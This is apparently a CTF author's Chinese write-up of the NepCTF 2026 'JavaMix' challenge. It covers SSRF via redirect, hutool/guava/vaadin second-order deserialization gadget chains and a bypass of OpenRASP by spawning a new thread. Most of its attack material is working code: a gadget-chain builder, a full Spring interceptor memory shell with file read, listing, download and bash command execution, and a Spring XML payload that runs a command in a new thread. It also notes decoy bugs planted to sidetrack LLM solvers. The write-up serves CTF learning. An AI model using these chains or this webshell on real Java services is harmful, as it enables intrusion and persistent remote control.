前言 这道题的主要考点有三个:
1、SSRF重定向获取WebService服务的接口和接口参数
2、hutools二次反序列化
3、Rasp新线程绕过
每一个考点单独拿出来都比较常规,但组合到一起,想要拿到flag就得仔细一点。
同时,我在题目里还设置了很多虚假漏洞点,用于分散LLM注意力。因为在测试时发现,当LLM在反序列化这一关没思路时,如果设置了其他看起来能够利用的虚假漏洞点,其注意力很可能会被分散一部分,从而形成“反序列化有点难,做不出”–>“看看其他漏洞点”–>“其他漏洞点也利用不了”–>“接着看反序列化,还是有点难,做不出”–>“再去看看其他漏洞点”的死循环。随着上下文的自动压缩,如果没有人为干预,对于一些上下文较小的模型,就很难做出这道题。当时使用gpt5.5 x20的套餐,在只提供服务器和题目附件的情况下,跑完了周额度的70%,还是没有解出题目。
设置虚假漏洞点,也是希望选手能够自己看一眼题目去确定方向,而不是完全交给Agent工具一把梭。最终的效果也还行,去掉ban后,只有7位选手拿到了flag,在整场比赛里算是比较难的一道题了。
然而,在看过选手的wp后,还是感叹现在的LLM太强大,在我自行多轮测试后,还是被找到了非预期,是一种从来没见到过的反序列化构造手法。
SSRF重定向 打开题目后,有6个明显的功能点,其中右下角的内部服务没法直接访问,且很明显是让我们通过SSRF去进行本地访问。
同时,通过题目源码,我们也能够知道,/services 接口下的路由会经过isInternalAddress判断,只允许内网访问:
不过可以发现,这里的访问控制是有问题的。第一个if通过equals比较,说明/services无法通过GET和POST从外网访问。第二个if说明无法从外网发起任何GET请求。但/services/xxx 是可以直接从外网发起POST请求的。
这里的设计是为了让选手通过SSRF GET拿到内网接口文档后,直接从外网通过POST进行攻击利用,这样即考察了SSRF,也不会太繁琐。
可以看到,我特意在附件中隐藏了InternalDataServiceImpl的serviceName和方法内容,防止直接通过服务类推断出第二关的反序列化利用点:
而提供SSRF利用点的,很明显就是咨询抓取功能的 /fetch 接口:
这个接口类通过黑名单的方式,禁止了传统的IP编码绕过:
但对于重定向是没有防护的,所以可以直接在服务器上通过一次重定向进行绕过:
获取到DataSyncService服务的参数后,就可以确定反序列化入口,没脱敏的源码如下:
通过SafeObjectInputStream+自定义的黑名单,在resolveClass处进行过滤。这里就是非预期点,因为我没拦截resolveProxyClass.
简单看一下黑名单,常见的二次反序列化类和Sink类,比如SignedObject等都被封了,所以大概率是找一个新的二次反序列化点。
这里有三个依赖值得注意,guava、vaddin和hutool。
vaddin链比较熟悉,是通过toString–>getter实现任意public getter调用。
而hutool,如果有复现过前两年AliyunCTF题目,应该会比较熟悉。2024的chain17,hutools作为触发JDBC的链出现:
http://www.bmth666.cn/2024/03/31/%E7%AC%AC%E4%BA%8C%E5%B1%8A-AliyunCTF-chain17%E5%A4%8D%E7%8E%B0/index.html
2025的Jtools,作为二次反序列化出现:
https://mp.weixin.qq.com/s/dMl0aEg6p7w7MKlUe7pCdg?poc_token=HBaCZGqjO1RLDUdvBIPN-Fe5YcftRLp26G5kuyml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 -> org.apache.fury.Fury#deserialize -> java.util.PriorityQueue#siftUpUsingComparator -> com.feilong.core.util.comparator.PropertyComparator#compare -> cn.hutool.core.map.MapProxy#invoke [Proxy.newProxyInstance] -> cn.hutool.core.convert.Convert#convert -> cn.hutool.core.convert.Convert#convertWithCheck -> cn.hutool.core.convert.ConverterRegistry#convert -> cn.hutool.core.convert.ConverterRegistry#convertSpecial -> cn.hutool.core.convert.AbstractConverter#convert -> cn.hutool.core.convert.impl.BeanConverter#convertInternal -> cn.hutool.core.util.ObjectUtil#deserialize -> cn.hutool.core.util.SerializeUtil#deserialize -> cn.hutool.core.io.IoUtil#readObj -> cn.hutool.core.io.ValidateObjectInputStream#readObject [黑白名单为null]
通过MapProxy动态代理实现。
经常用JavaChains的师傅应该也见过:
这里MapProxy二次反序列化通过getBounds触发,正好对应了vaddin链能够触发任意getter方法。
最后的问题是,怎么触发toString,来触发vaddin链,这里就要用到guava依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 readObject->toString * 链路: * HashMap.readObject() * → hash(key) → key.hashCode() * → Equivalence$Wrapper.hashCode() * → equivalence.hash(reference) * → FunctionalEquivalence.doHash(reference) * → function.apply(reference) // ToStringFunction * → reference.toString() // PropertysetItem * → PropertysetItem.toString() * → NestedMethodProperty.getValue() * → Method.invoke(instance, getter)
guava依赖里还有其他能够触发toString的链子,比如:
1 2 3 4 5 6 7 8 9 10 readObject->compare->toString com.google.common.collect.ImmutableSetMultimap#readObject com.google.common.collect.ImmutableSortedSet.Builder#add(E) com.google.common.collect.ImmutableSortedSet.Builder#sortAndDedup java.util.Arrays#sort(T[], int, int, java.util.Comparator<? super T>) java.util.TimSort#sort java.util.TimSort#countRunAndMakeAscending com.google.common.collect.UsingToStringOrdering#compare xxx.toString
如果研究过帆软channel反序列化,可能会对这条链子很熟悉,我之前的文章里也有提到过:
https://xz.aliyun.com/news/91802#immutablesetmultimap%E9%93%BE
后续做LLM自动反序列化链挖掘尝试时,拿guava开刀,又挖到不少能够触发toString的,所以这里用了其中一条来出题。
最后的二次反序列化链代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 @SuppressWarnings("unchecked") private static Object wrapWithGuavaHashMap(Object toStringTarget) throws Exception { Equivalence<Object> eq = (Equivalence<Object>) (Equivalence<?>) Equivalence.equals().onResultOf(Functions.toStringFunction()); Equivalence.Wrapper<Object> wrapper = eq.wrap("dummy"); HashMap<Object, Object> map = new HashMap<>(); map.put(wrapper, "v"); Field refField = Equivalence.Wrapper.class.getDeclaredField("reference"); refField.setAccessible(true); refField.set(wrapper, toStringTarget); return map; } private static Object createPropertysetItem(Object instance, String property) throws Exception { NestedMethodProperty<?> prop = new NestedMethodProperty<>(instance, property); PropertysetItem item = new PropertysetItem(); item.addItemProperty("x", prop); return item; } // innerPayload就是内层反序列化字节码,随便找条Templates的链子就行 private static byte[] buildOuterChain(byte[] innerPayload) throws Exception { HashMap<String, Object> proxyMap = new HashMap<>(); proxyMap.put("margin", innerPayload); MapProxy mapProxy = MapProxy.create(proxyMap); Object proxy = Proxy.newProxyInstance( Exploit.class.getClassLoader(), new Class[]{Layout.MarginHandler.class, Serializable.class}, mapProxy ); Object propertysetItem = createPropertysetItem(proxy, "margin"); Object hashMap = wrapWithGuavaHashMap(propertysetItem); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(hashMap); oos.close(); return bos.toByteArray(); }
Rasp绕过 能够反序列化后,一般都会注入内存马或使用回显技术,直接读取flag,但直接命令执行是会跳转到OpenRASP的拦截页面的。但是这题其实从一开始就有提示,题目描述里有“某种能防御0day的设备“,很显然就是Rasp了。而且在系统诊断的ping功能处,我故意设置了一个漏洞,黑名单遗漏换行符 + find() 只校验首段,%0a 可注入命令,但注入后会被Rasp拦截:
但Rasp只拦截了命令执行的相关方法,文件操作的是不拦截的,所以可以注入能够进行文件操作的内存马,读取rasp文件,然后本地分析,内存马如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 package com.ctf.poc;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.*;import java.lang.reflect.Field;import java.text.SimpleDateFormat;import java.util.*;public class MemShell extends AbstractTranslet implements HandlerInterceptor { private static final String TOKEN_HEADER = "X-Cmd-Token" ; private static final String TOKEN_VALUE = "s3cretKey" ; public MemShell () { try { registerInterceptor(); } catch (Exception ignored) { } } private void registerInterceptor () throws Exception { WebApplicationContext context = getWebApplicationContext(); if (context == null ) return ; Map<String, AbstractHandlerMapping> mappings = context.getBeansOfType(AbstractHandlerMapping.class); for (AbstractHandlerMapping mapping : mappings.values()) { Field f = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); f.setAccessible(true ); @SuppressWarnings("unchecked") List<Object> interceptors = (List<Object>) f.get(mapping); if (interceptors != null ) { boolean exists = false ; for (Object obj : interceptors) { if (obj.getClass().getName().equals(this .getClass().getName())) { exists = true ; break ; } } if (!exists) { interceptors.add(this ); } } } } private static WebApplicationContext getWebApplicationContext () { try { ServletRequestAttributes attrs = (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes(); WebApplicationContext ctx = (WebApplicationContext) attrs.getRequest().getServletContext() .getAttribute("org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet" ); if (ctx != null ) return ctx; } catch (Exception ignored) { } try { Object message = Class.forName("org.apache.cxf.phase.PhaseInterceptorChain" ) .getMethod("getCurrentMessage" ).invoke(null ); if (message != null ) { Object req = message.getClass().getMethod("get" , Object.class) .invoke(message, "HTTP.REQUEST" ); if (req instanceof HttpServletRequest) { javax.servlet.ServletContext sc = ((HttpServletRequest) req).getServletContext(); Object ctx = sc.getAttribute( "org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet" ); if (ctx == null ) { ctx = sc.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE); } if (ctx instanceof WebApplicationContext) return (WebApplicationContext) ctx; } } } catch (Exception ignored) { } try { return org.springframework.web.context.ContextLoader.getCurrentWebApplicationContext(); } catch (Exception ignored) { } return null ; } @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String token = request.getHeader(TOKEN_HEADER); if (!TOKEN_VALUE.equals(token)) { return true ; } response.setCharacterEncoding("UTF-8" ); String action = request.getParameter("action" ); if (action == null ) action = "read" ; try { switch (action) { case "read" : doRead(request, response); break ; case "list" : doList(request, response); break ; case "download" : doDownload(request, response); break ; case "exec" : doExec(request, response); break ; default : text(response, 400 , "Unknown action. Supported: read, list, download, exec" ); } } catch (Exception e) { text(response, 500 , "ERROR: " + e.getMessage()); } return false ; } private void doRead (HttpServletRequest req, HttpServletResponse resp) throws Exception { String path = req.getParameter("path" ); if (path == null || path.isEmpty()) { text(resp, 400 , "Missing parameter: path" ); return ; } File file = new File (path); if (!file.exists()) { text(resp, 404 , "File not found: " + path); return ; } if (!file.isFile()) { text(resp, 400 , "Not a file: " + path); return ; } if (!file.canRead()) { text(resp, 403 , "Permission denied: " + path); return ; } resp.setContentType("text/plain; charset=UTF-8" ); try (FileInputStream fis = new FileInputStream (file); OutputStream out = resp.getOutputStream()) { byte [] buf = new byte [8192 ]; int n; while ((n = fis.read(buf)) > 0 ) { out.write(buf, 0 , n); } out.flush(); } } private void doList (HttpServletRequest req, HttpServletResponse resp) throws Exception { String path = req.getParameter("path" ); if (path == null || path.isEmpty()) { text(resp, 400 , "Missing parameter: path" ); return ; } File dir = new File (path); if (!dir.exists()) { text(resp, 404 , "Path not found: " + path); return ; } if (!dir.isDirectory()) { text(resp, 400 , "Not a directory: " + path); return ; } File[] files = dir.listFiles(); if (files == null ) { text(resp, 403 , "Permission denied: " + path); return ; } Arrays.sort(files, (a, b) -> { if (a.isDirectory() != b.isDirectory()) { return a.isDirectory() ? -1 : 1 ; } return a.getName().compareToIgnoreCase(b.getName()); }); SimpleDateFormat sdf = new SimpleDateFormat ("yyyy-MM-dd HH:mm:ss" ); StringBuilder sb = new StringBuilder (); sb.append("Directory: " ).append(dir.getAbsolutePath()) .append(" (" ).append(files.length).append(" items)\n\n" ); sb.append(String.format("%-6s %5s %5s %12s %-19s %s\n" , "TYPE" , "R" , "W" , "SIZE" , "MODIFIED" , "NAME" )); sb.append("--------------------------------------------------------------------------------\n" ); for (File f : files) { sb.append(String.format("%-6s %5s %5s %12s %-19s %s\n" , f.isDirectory() ? "[DIR]" : "[FILE]" , f.canRead() ? "r" : "-" , f.canWrite() ? "w" : "-" , f.isFile() ? String.valueOf(f.length()) : "-" , sdf.format(new Date (f.lastModified())), f.getName())); } text(resp, 200 , sb.toString()); } private void doDownload (HttpServletRequest req, HttpServletResponse resp) throws Exception { String path = req.getParameter("path" ); if (path == null || path.isEmpty()) { text(resp, 400 , "Missing parameter: path" ); return ; } File file = new File (path); if (!file.exists() || !file.isFile()) { text(resp, 404 , "Not a file: " + path); return ; } if (!file.canRead()) { text(resp, 403 , "Permission denied: " + path); return ; } resp.setContentType("application/octet-stream" ); resp.setHeader("Content-Disposition" , "attachment; filename=\"" + file.getName() + "\"" ); resp.setContentLengthLong(file.length()); try (FileInputStream fis = new FileInputStream (file); OutputStream out = resp.getOutputStream()) { byte [] buf = new byte [8192 ]; int n; while ((n = fis.read(buf)) > 0 ) { out.write(buf, 0 , n); } out.flush(); } } private void doExec (HttpServletRequest req, HttpServletResponse resp) throws Exception { String cmd = req.getParameter("cmd" ); if (cmd == null || cmd.isEmpty()) { text(resp, 400 , "Missing parameter: cmd" ); return ; } CmdRunner runner = new CmdRunner (new String []{"/bin/bash" , "-c" , cmd}); runner.start(); runner.join(10000 ); text(resp, 200 , runner.getOutput()); } private void text (HttpServletResponse resp, int status, String body) throws IOException { resp.setStatus(status); resp.setContentType("text/plain; charset=UTF-8" ); resp.getWriter().write(body); resp.getWriter().flush(); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
然后用download模式把rasp.jar下载到本地即可。
列根目录也能发现,flag.txt是没有读权限的:
但是getflag有执行权限,明显是把任意文件读获取flag这条路给堵死。
下载rasp后,分析Agent 入口 (RaspAgent.premain):
将 RASP jar 加入 bootstrap classpath (确保 JDK 核心类中注入的代码能访问 RaspChecker)
注册 RaspTransformer(ClassFileTransformer)
设置 NativeMethodPrefix = "$$rasp$$"(用于 hook native 方法)
对已加载的目标类执行 retransformClasses
Hook 点 (4 个目标类,覆盖所有命令执行路径):
目标类
Hook 方法
拦截目的
java.lang.Runtime
exec (所有重载)
标准命令执行入口
java.lang.Runtime
load, loadLibrary
防止上传 .so 后通过 JNI 绕过
java.lang.ProcessBuilder
start
ProcessBuilder 方式执行
java.lang.ProcessImpl/UNIXProcess
<init>, start, forkAndExec(native)
最底层拦截,防反射调用
NativeMethodPrefix 机制 (防止反射调用 native 方法绕过):
RASP 对 ProcessImpl.forkAndExec(Linux 进程创建的 native 方法)使用 NativeMethodPrefix 技术:
原始 native 方法 forkAndExec 被 JVM 重命名为 $$rasp$$forkAndExec
RASP 生成新的 Java 方法 forkAndExec,在方法入口插入 RaspChecker.shouldBlock() 检查后再委托给 native 方法
即使通过 Unsafe.allocateInstance() 跳过构造函数后反射调用 forkAndExec,也会被新的 wrapper 方法拦截
拦截判定逻辑 (RaspChecker.shouldBlock()):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public static boolean shouldBlock () { Thread currentThread = Thread.currentThread(); String threadName = currentThread.getName(); String[] HTTP_THREAD_PATTERNS = { "http-nio-" , "http-apr-" , "catalina-exec-" , "exec-" , "qtp" , "XNIO-" , "default task-" }; boolean isHttpThread = false ; for (String pattern : HTTP_THREAD_PATTERNS) { if (threadName.contains(pattern)) { isHttpThread = true ; break ; } } if (!isHttpThread) { String[] WEB_CONTEXT_FRAMES = { "javax.servlet." , "jakarta.servlet." , "org.apache.catalina." , "org.apache.coyote." , "org.apache.tomcat." , "org.apache.cxf." , "org.springframework.web." , "org.eclipse.jetty." , "io.undertow." }; StackTraceElement[] stack = currentThread.getStackTrace(); for (StackTraceElement frame : stack) { for (String webFrame : WEB_CONTEXT_FRAMES) { if (frame.getClassName().startsWith(webFrame)) { isHttpThread = true ; break ; } } } } if (isHttpThread) { logBlock(currentThread); return true ; } return false ; }
核心缺陷 :RASP 仅对 HTTP 请求上下文中的命令执行进行拦截,无法覆盖从 HTTP 线程中 fork 出的新线程。
这里就可以通过经典的新线程逃逸去绕过Rasp的Http上下文检测。
这是当时从腾讯Rasp挑战赛看到的一种绕过:
https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487523&idx=1&sn=97a5e73e91f765fbd695092880edb15a&poc_token=HCeRZGqjLloScuugDzXZ2lBAgw3vuo-X5sGmlDPs
这里是自己先通过反序列化加载了CmdRunner类,然后在内存马里调用,实现新线程绕过:
附件地址 完整的题目源码已经上传到我的仓库:
https://github.com/1diot9/CTFJavaChallenge/tree/main/2026/NepCTF/JavaMix
完整解题脚本在:
https://github.com/1diot9/CTFJavaChallenge/tree/main/2026/NepCTF/JavaMix/solve
非预期-黑名单绕过 这里选手采用的,是通过java.lang.invoke.SerializedLambda自定义一个恶意匿名类,然后在代理类的反序列化中,触发匿名类实现构造方法调用。这是我的一个知识盲区,之前从来没见到过这种手法,是从选手们的wp中学习的,至少有两位选手都采取了这种方式解题。我想这就是AI时代下的CTF的意义吧,总能找到题目的非预期,从而完善自己的知识面。
这里采用从sink–>source的分析逻辑。
首先,看到cn.hutool.core.lang.Singleton#get(java.lang.Class, java.lang.Object…)里的匿名类:
这个匿名类能够调用任意public构造方法。那么就联想到org.springframework.context.support.FileSystemXmlApplicationContext或org.springframework.context.support.ClassPathXmlApplicationContext去加载xml,从而实现任意代码执行。
通过下面的代码,我们能够提取出这个匿名类的完整类名:
然后通过java.lang.invoke.SerializedLambda去创建一个可序列化的匿名类:
这里的cn.hutool.core.lang.func.Func0 是为了创建一个能通过call延迟触发的匿名函数,类似下面:
1 2 Func0<String> f = () -> "hello" ; f.call();
那么现在就要找到哪里能够触发call,这里找到hibernate依赖里的org.hibernate.property.access.spi.GetterMethodImpl#get:
这里的getterMethod可以是任意public method,当然也可以是我们上面提到的call方法,而这里的owner参数,就是上面创建的恶意匿名函数。
现在就是想办法触发get方法。这里是一个难点,容易搞不清楚。
首先,要创建一个动态代理proxyMap,代理getter对象,如下:
这个动态代理比较特殊,同时代理了两个接口,第一个是org.hibernate.property.access.spi.Getter,第二个是java.util.Map,而Getter就是GetterMethodImpl的接口。
接着创建java.util.function.Function 对象:
forgedFunc0就是一开始创造的恶意匿名函数。
现在可以看调试了,从cn.hutool.core.comparator.FuncComparator#doCompare开始看:
这里调用apply,实际上是com.google.common.base.Functions.FunctionComposition#apply:
f是com.google.common.base.Functions.ConstantFunction#ConstantFunction,其apply方法永远返回value字段,也就是那个匿名函数:
g是com.google.common.base.Functions.FunctionForMapNoDefault#FunctionForMapNoDefault:
map是前面的proxyMap代理。前面说过,这个动态代理同时代理了两个接口,第一个是org.hibernate.property.access.spi.Getter,第二个是java.util.Map,而Getter就是GetterMethodImpl的接口。这两个接口都有get方法,但这里会优先调用Getter的get方法,这是java动态代理的特性,优先调用前面的接口方法。
所以实际上,这里最终就调用到了org.hibernate.property.access.spi.GetterMethodImpl#get。这样就串起来了。
最后的入口是com.google.common.collect.TreeMultiset。其在反序列化时,会重新一个个把元素add进来,在add进来时,就会调用compare进行比较,就会连接到cn.hutool.core.comparator.FuncComparator。
对应的poc部分:
对应的堆栈:
最终的堆栈为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 at org.springframework.context.support.FileSystemXmlApplicationContext.<init>(FileSystemXmlApplicationContext.java:85) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:423) at cn.hutool.core.util.ReflectUtil.newInstance(ReflectUtil.java:865) at cn.hutool.core.lang.Singleton.lambda$get$3f3ed817$1(Singleton.java:39) at cn.hutool.core.lang.Singleton$$Lambda$5.911312317.call(Unknown Source:-1) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.hibernate.property.access.spi.GetterMethodImpl.get(GetterMethodImpl.java:42) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at cn.hutool.aop.interceptor.JdkInterceptor.invoke(JdkInterceptor.java:50) at com.sun.proxy.$Proxy0.get(Unknown Source:-1) at com.google.common.base.Functions$FunctionForMapNoDefault.apply(Functions.java:158) at com.google.common.base.Functions$FunctionComposition.apply(Functions.java:260) at cn.hutool.core.comparator.FuncComparator.doCompare(FuncComparator.java:49) at cn.hutool.core.comparator.NullComparator.compare(NullComparator.java:44) at com.google.common.collect.TreeMultiset$AvlNode.add(TreeMultiset.java:683) at com.google.common.collect.TreeMultiset.add(TreeMultiset.java:275) at com.google.common.collect.Serialization.populateMultiset(Serialization.java:135) at com.google.common.collect.Serialization.populateMultiset(Serialization.java:120) at com.google.common.collect.TreeMultiset.readObject(TreeMultiset.java:1100) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1185) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2345) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2236) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1692) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:508) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:466) at com.ctf.poc.Tmp.main(Tmp.java:10)
最终的xml文件比较简单,找一个能创建子线程的方法调用即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" ><bean id ="runner" class ="org.springframework.scheduling.support.MethodInvokingRunnable" ><property name ="staticMethod" value ="cn.hutool.core.util.RuntimeUtil.execForStr" /><property name ="arguments" > <list > <array value-type ="java.lang.String" > <value > /bin/sh</value > <value > -c</value > <value > /getflag > /tmp/javamix_flag 2>&1</value > </array > </list > </property > </bean > <bean id ="worker" class ="java.lang.Thread" init-method ="start" > <constructor-arg ref ="runner" /> </bean >
POC在https://github.com/1diot9/CTFJavaChallenge/blob/main/2026/NepCTF/JavaMix/solve/poc/src/main/java/com/ctf/poc/UnintendedGadget.java
总结 这次主要是学习了一下非预期解里的匿名函数利用和动态代理多接口代理下的特性。
希望下次还有机会给大家带来更好的题目。